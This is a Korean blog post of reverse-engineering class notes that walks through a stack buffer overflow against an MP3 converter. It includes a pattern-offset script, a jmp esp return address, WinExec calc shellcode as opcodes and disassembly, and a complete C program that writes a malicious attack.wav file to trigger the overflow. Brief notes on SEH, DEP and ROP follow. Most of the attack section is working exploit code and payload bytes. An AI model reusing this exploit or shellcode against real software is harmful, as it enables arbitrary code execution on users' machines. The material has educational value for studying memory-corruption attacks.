리버싱

20일차 마무리.

컴공 2013. 5. 5. 11:43
반응형

1) 쓰레기 값을 많이 넣어서 배열의 크기를 알아본다

use lib "/pentest/exploits/framework2/lib";
use Pex::Text;

$pattern = Pex::Text::PatternCreate(10000);
printf("%s", $pattern);
//perl pattern.pl


-----------------
root@bt:/pentest/exploits/framework2/sdk# ./patternOffset.pl 46366846 10000
4128

2) 알아낸 배열의 크기 만큼 채우고 리턴주소를 파악한다.

#include "stdafx.h"
#include <stdio.h>
#include <conio.h>
int main(int argc, char* argv[])
{
 int state;
 //파일 개방
 FILE * fp;
 char dummy[10000];
 int i;
 
 for( i = 0; i<4127;i++){
  dummy[i] = 'A';
 }
 dummy[4128] = '\0';

 fp = fopen("c:\\attack.wav", "a"); //포인터를 열어오는 것

 fprintf(fp, "%s", dummy);
 fclose(fp);
 return 0;
}


0012F974   004AB292  Alltomp3.004AB292

\xED\1E\97\7C
7C971EED


shutdown -a //시스템 종료 취소


//계산기 옵코드

\x83\nEC\n0C\nB8\n63\n61\n6C\n63\nB9\n2E\n65\n78\n65\n32\nD2\n89\n04\n24\n8D\n04\n24\n6A\n05\n50\n89\n4C\n24\n0C\n88\n54\n24\n10\x
BA\n4D\n11\n86\n7C\nFF\nD2\n33\nC0\n83\nC4\n0C\nC3

jmp esp를 확인하는 프로그램이 있다.
\\\\\\\\\\\\\\\\\\\\\\\\\\ 계산기
00401000  /$  83EC 0C       SUB ESP,0C
00401003  |.  B8 63616C63   MOV EAX,636C6163
00401008  |.  B9 2E657865   MOV ECX,6578652E
0040100D  |.  32D2          XOR DL,DL
0040100F  |.  890424        MOV DWORD PTR SS:[ESP],EAX
00401012  |.  8D0424        LEA EAX,DWORD PTR SS:[ESP]
00401015  |.  6A 05         PUSH 5                                   ; /ShowState = SW_SHOW
00401017  |.  50            PUSH EAX                                 ; |CmdLine
00401018  |.  894C24 0C     MOV DWORD PTR SS:[ESP+C],ECX             ; |
0040101C  |.  885424 10     MOV BYTE PTR SS:[ESP+10],DL              ; |
00401020  |.  BA 4D11867C   MOV EDX,kernel32.WinExec                 ; |
00401025  |.  FFD2          CALL EDX                                 ; \WinExec
// call까지만 하면 된다. 집털고 문 닫을필요없다. \x (16진수)

00401027  |.  33C0          XOR EAX,EAX
00401029  |.  83C4 0C       ADD ESP,0C
0040102C  \.  C3            RETN

 

\\\\\\\\\\\\\\\\\\\\\\\\\공격!!
#include "stdafx.h"
#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char* argv[])
{
 int state;
 //파일 개방
 FILE * fp;
 char dummy[10000];
 int i;
 
 for( i = 0; i<4128;i++){
  dummy[i] = 'A';
 }
 dummy[i] = NULL;

 strcat(dummy, "\xED\x1E\x97\x7C");
 strcat(dummy, "\x83\xEC\x0C\xB8\x63\x61\x6C\x63\xB9\x2E\x65\x78\x65\x32\xD2\x89\x04\x24\x8D\x04\x24\x6A\x05\x50\x89\x4C\x24\x0C\x88\x54\x24\x10\xBA\x4D\x11\x86\x7C\xFF\xD2\x33\xC0\x83\xC4\x0C\xC3");
 fp = fopen("c:\\attack.wav", "w"); //포인터를 열어오는 것
 fprintf(fp, "%s", dummy);
 fclose(fp);
 
// char calc[] = "calc.exe";
// WinExec(calc, SW_SHOW);
 
 return 0;
 
}
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

A1 305040000 
EAX에 넣어라는 의미가 A1

Hex dump를 반대로 넣어서 어셈블리어에 넣는다.
호출값은 레지스터에 잠깐 담는다. (call


API -- 윈도우 프로그래밍을 찾으면 나온다. module등을 쉽게 이해가능.
PE(파일의 구조) --> packing --> 악성코드

Packing -- 실행파일을 압축해서 실행,용량 줄이고 리버싱을 어렵게 함.

--------------분석이 아니라 공격을 하려면, 취약점분석을 하면된다.

SEH(윈도우에서 처리하는 예외처리 기법)
try exception기법
(하드/소프트적 방법)

스택에 안 넣고 heap에 넣으면 stack->heap overflow ->DEP(DATA execution prevention) 윈xp이후로 나옴
ROP(return orented programming) -- 문자를 조합해서 스택에 담아 사용
취약점 | 악성코드
------------------두분야가있다.

 

 

반응형